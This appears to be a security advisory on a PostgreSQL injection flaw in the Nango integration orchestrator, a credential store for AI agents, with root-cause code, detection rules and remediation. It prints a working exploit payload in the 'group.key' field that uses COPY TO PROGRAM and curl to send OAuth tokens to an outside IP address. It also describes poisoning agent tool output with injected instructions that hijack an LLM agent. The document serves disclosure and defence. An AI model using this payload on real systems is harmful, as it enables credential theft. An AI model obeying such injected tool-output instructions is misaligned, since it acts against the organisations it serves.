CVE-2026-125759: Nango Orchestrator Unauthenticated PostgreSQL Injection via Task Group Key
A critical unauthenticated SQL injection vulnerability (CVE-2026-125759) in the Nango integration orchestrator allows remote adversaries to execute stacked queries against the core PostgreSQL database. Nango serves as the foundational unified API gateway and credential manager connecting enterprise autonomous AI agents (LangChain, AutoGen, CrewAI, Agno) to hundreds of SaaS platforms (Slack, Salesforce, GitHub, Google Workspace). Due to improper string concatenation in TaskEventsHandler.notify(), an unauthenticated POST request to '/v1/immediate' with a crafted 'group.key' parameter escapes the PostgreSQL NOTIFY command. Threat actors can exfiltrate live OAuth refresh tokens, decrypt enterprise integration secrets, manipulate background synchronization jobs, and poison context streams delivered to autonomous agents. VulnCheck published weaponized exploit research on November 11, 2026. Hermes assigns this vulnerability an HTS score of 94 (CRITICAL) and an Agentic Security Score (HASS) of 95 (EXTREME).
HERMES THREAT SCORE & AUTONOMOUS AI AGENT SECURITY EVALUATION
Target:Nango Orchestrator API, TaskEventsHandler, and PostgreSQL Credential Store CVSS v3.1 rates CVE-2026-125759 at 7.7 (High). Hermes diverges significantly with an HTS score of 94 and an extreme Agentic Security Score (HASS) of 95. Nango is the central nervous system connecting LLM agents to external real-world actions. By dumping the Nango scheduler database, an attacker acquires valid OAuth tokens for every connected enterprise SaaS tool. This enables adversaries to hijack autonomous agents, execute unauthorized actions under employee identities, and alter enterprise data at the source.
1. Executive Summary & Operational Context
Section titled โ1. Executive Summary & Operational ContextโNango is an open-source integration platform and unified API orchestrator engineered to solve authentication, data synchronization, and action execution between backend software and external software-as-a-service (SaaS) APIs. In modern AI architectures, Nango is widely deployed as the tool execution layer and integration proxy for autonomous LLM agents (built with LangChain, AutoGen, CrewAI, or bespoke ReAct loops), managing persistent OAuth tokens, bi-directional database syncs, and webhook dispatches.
On November 11, 2026, security researchers at VulnCheck published an in-depth vulnerability advisory (CVE-2026-125759) demonstrating weaponized exploit chains against Nango orchestrator versions prior to 0.71.3. The vulnerability enables unauthenticated remote attackers to trigger stacked SQL injection in PostgreSQL through the group.key parameter of the public /v1/immediate API route. By breaking out of an unparameterized NOTIFY statement, attackers can dump encrypted and plaintext OAuth tokens, tamper with synchronization job configurations, and inject forged payloads directly into the observation streams of connected enterprise AI agents.
2. Root Cause Analysis & Technical Mechanics (CWE-89 / CWE-94)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-89 / CWE-94)โThe vulnerability resides in packages/orchestrator/src/services/TaskEventsHandler.ts. The orchestrator uses PostgreSQLโs native LISTEN / NOTIFY mechanism for inter-process communication between API workers and background sync runners.
sequenceDiagram autonumber participant Attacker as Remote Adversary participant API as Nango Orchestrator API (POST /v1/immediate) participant Handler as TaskEventsHandler.notify() participant PG as PostgreSQL Database (Port 5432) participant Agent as Autonomous LLM Agent Worker
Attacker->>API: POST /v1/immediate (crafted group.key with SQL breakout) API->>Handler: Forward group.key string Note over Handler: Insecure format: query = "NOTIFY nango_events, '" + key + "'" Handler->>PG: Execute multi-statement SQL query Note over PG: PG evaluates: NOTIFY nango_events, ''; UPDATE nango_connection SET ...; PG-->>Attacker: Extracted OAuth tokens & connection secrets via SQL exfiltration Attacker->>API: Forge poisoned synchronization record API->>Agent: Deliver poisoned tool output to LLM context Note over Agent: LLM agent executes malicious prompt injection instructionsUnparameterized String Concatenation in PostgreSQL NOTIFY
Section titled โUnparameterized String Concatenation in PostgreSQL NOTIFYโPostgreSQLโs NOTIFY command does not support traditional SQL query parameter markers ($1, $2) in client libraries like pg or slonik. Instead of escaping the payload using helper functions such as format('%L', input) or sanitizing input keys against strict alphanumeric patterns, TaskEventsHandler.notify() used direct template string interpolation:
// Vulnerable implementation in TaskEventsHandler.tsexport class TaskEventsHandler { async notify(channel: string, groupKey: string, payload: any): Promise<void> { const rawPayload = JSON.stringify({ groupKey, payload });
// FLAW: Direct string interpolation into raw SQL statement! const query = `NOTIFY ${channel}, '${rawPayload}'`;
// Slonik / pg raw query execution allows stacked queries in multi-statement drivers await this.db.query(sql.raw(query)); }}Exploit Payload Breakdown
Section titled โExploit Payload BreakdownโBecause Nango connects to PostgreSQL with multi-statement query capabilities enabled, an attacker can terminate the single-quoted string literal and append arbitrary SQL commands:
{ "group": { "key": "test'); COPY (SELECT id, provider, access_token, refresh_token FROM nango_connection) TO PROGRAM 'curl -d @- http://149.202.89.44:8000/tokens'; --" }}When evaluated, the PostgreSQL engine executes two distinct operations:
NOTIFY channel, '... test');(completes normally or throws an ignorable event notice).COPY (SELECT ...) TO PROGRAM 'curl ...';(executes with database superuser ornangoservice privileges, streaming the complete connection table containing enterprise OAuth secrets to the adversaryโs remote server).
3. Attack Surface & Agentic AI Exploitation Vectors
Section titled โ3. Attack Surface & Agentic AI Exploitation VectorsโThe attack surface carries severe implications for autonomous AI pipelines:
- Unauthenticated Orchestrator Boundary:
The
/v1/immediateendpoint is exposed without mandatory authentication in standard multi-container docker-compose deployments to allow microservices to trigger instant task scheduling. - Universal SaaS Token Theft:
The
nango_connectionandnango_credentialstables store OAuth 2.0 access and refresh tokens, Client IDs, Client Secrets, and API keys for every SaaS integration linked to the organization (e.g. Google Drive, Slack, Salesforce, GitHub, Zendesk, Stripe). An adversary extracting this table obtains immediate, persistent access across the entire SaaS portfolio. - Observation Poisoning & Indirect Prompt Injection:
By modifying sync records in
nango_sync_records, adversaries can inject crafted system instructions into synchronization batches. When the LLM agent retrieves these records as tool output, the embedded instructions hijack the agentโs ReAct execution loop, instructing it to perform malicious tasks (e.g. forwarding sensitive emails, modifying access controls, or deploying unauthorized cloud resources).
4. Forensic Timeline & Threat Actor Execution Flow
Section titled โ4. Forensic Timeline & Threat Actor Execution Flowโflowchart TD A["T0: Adversary Discovery"] -->|"Scan Port 3003 / 80 / 443"| B["Nango Orchestrator API Identified"] B -->|"POST /v1/immediate with SQL Breakout in group.key"| C["TaskEventsHandler Evaluates Malformed NOTIFY"] C -->|"PostgreSQL Executes Stacked SQL Injection"| D["Access Token Table Dumped via COPY TO PROGRAM / Out-of-Band"] D -->|"Harvest Live SaaS OAuth Refresh Tokens"| E["Adversary Assumes Employee Identity on SaaS APIs"] E -->|"Inject Poisoned Synchronization Payload"| F["Autonomous AI Agent Reads Tainted Tool Data"] F -->|"Indirect Prompt Injection"| G["Rogue Agent Tool Calling & Corporate Data Exfiltration"]Forensic investigation on affected Nango deployments should analyze the following indicators:
- Step 1: Orchestrator Ingress Traffic
Inspect Nango reverse proxy (Nginx / Caddy / Envoy) logs for POST requests to
/v1/immediateor/v1/schedulefeaturing unexpected characters in query bodies (',;,--,/*,COPY,SELECT). - Step 2: PostgreSQL Statement Auditing
Review PostgreSQL query logs (
/var/log/postgresql/postgresql-*.log). Look for syntax errors nearNOTIFYor executions ofCOPY ... TO PROGRAMorpg_sleep. - Step 3: SaaS Anomaly Telemetry Cross-reference SaaS provider audit logs (Google Workspace Admin Log, GitHub Audit Log, Salesforce Login History) for API logins utilizing Nango-provisioned OAuth tokens originating from unfamiliar IP addresses.
5. Detection Engineering & Hunting Queries
Section titled โ5. Detection Engineering & Hunting Queriesโtitle: Nango Orchestrator SQL Injection via Task Group Key (CVE-2026-125759)id: f1829e12-8419-4b67-9c88-1928bc174829status: experimentaldescription: Detects SQL injection attempts targeting the Nango orchestrator /v1/immediate endpoint.author: Hermes Cyber Risk Intelligencereferences: - https://vulncheck.com/advisories/nango-before-0.71.3-sql-injection-via-orchestrator-task-group-key - https://github.com/NangoHQ/nangotags: - attack.initial_access - attack.t1190 - attack.credential_access - attack.t1552.001logsource: category: webserver product: nangodetection: selection: cs-method: 'POST' cs-uri-stem|contains: - '/v1/immediate' - '/v1/schedule' cs-body|contains: - "';" - "');" - '--' - 'COPY ' - 'pg_sleep' - 'SELECT ' condition: selectionfalsepositives: - Extremely rare. Standard Nango task group keys are formatted as alphanumeric identifiers or UUIDs.level: critical-- Query to identify malicious NOTIFY query patterns in PostgreSQL pg_stat_statementsSELECT query, calls, total_exec_time, min_exec_time, max_exec_timeFROM pg_stat_statementsWHERE query ILIKE '%NOTIFY%' AND (query ILIKE '%;%SELECT%' OR query ILIKE '%;%COPY%' OR query ILIKE '%;%UPDATE%')ORDER BY total_exec_time DESC;// Detect anomalous SQL injection payloads sent to AI agent orchestratorsAppServiceHTTPLogs| where TimeGenerated >= ago(7d)| where CsMethod =~ "POST" and CsUriStem has_any ("/v1/immediate", "/v1/schedule")| where ScStatus in (200, 500)| where CsBytesReceived > 100| project TimeGenerated, CIp, CsMethod, CsUriStem, ScStatus, CsUserAgent| extend Alert = "Potential Nango Orchestrator SQL Injection Probe (CVE-2026-125759)"index=containers sourcetype=nango:orchestrator| search ("syntax error at or near" OR "NOTIFY nango_events") AND ("SELECT" OR "COPY" OR "UPDATE")| stats count by _time, pod_name, container_name, error_message| table _time, pod_name, container_name, error_message, count#!/usr/bin/env bash# Nango Orchestrator Forensic Audit Scriptecho "=== [1] Scanning PostgreSQL logs for SQL injection artifacts ==="grep -Ei "(syntax error.*NOTIFY|COPY.*PROGRAM|pg_sleep)" /var/log/postgresql/*.log 2>/dev/null | tail -n 25
echo "=== [2] Checking for suspicious database user privileges ==="psql -U postgres -d nango -c "SELECT usename, usesuper, usecreatedb FROM pg_user;" 2>/dev/null
echo "=== [3] Checking for recent modifications to connection tables ==="psql -U postgres -d nango -c "SELECT id, provider, updated_at FROM nango_connection ORDER BY updated_at DESC LIMIT 10;" 2>/dev/null6. Remediation & Hardening Directives
Section titled โ6. Remediation & Hardening Directivesโ- Immediate Nango Upgrade to v0.71.3:
Update all Nango server and orchestrator containers immediately to version 0.71.3 or higher. The patch incorporates strict parameterized escaping using
pg-formatand sanitizes user input prior to emitting NOTIFY signals. - Revoke and Rotate All Connected SaaS Tokens: Because the database stores live OAuth refresh credentials, organizations running vulnerable instances must assume complete token compromise. Immediately revoke all application authorizations across connected platforms (Google Cloud, Microsoft Azure AD, GitHub Apps, Salesforce Connected Apps, Slack Apps) and prompt users to re-authenticate.
- Restrict Orchestrator API Network Ingress:
The Nango orchestrator port (
TCP 3003//v1/immediate) should be bound strictly to internal container networks (127.0.0.1or internal Docker/K8s bridge) and never exposed directly to the public internet or untrusted ingress controllers. - PostgreSQL Database Principle of Least Privilege:
Configure the database user utilized by Nango with restricted permissions. Specifically, ensure the user does not possess
SUPERUSERprivileges, preventing the execution ofCOPY ... TO PROGRAMOS commands.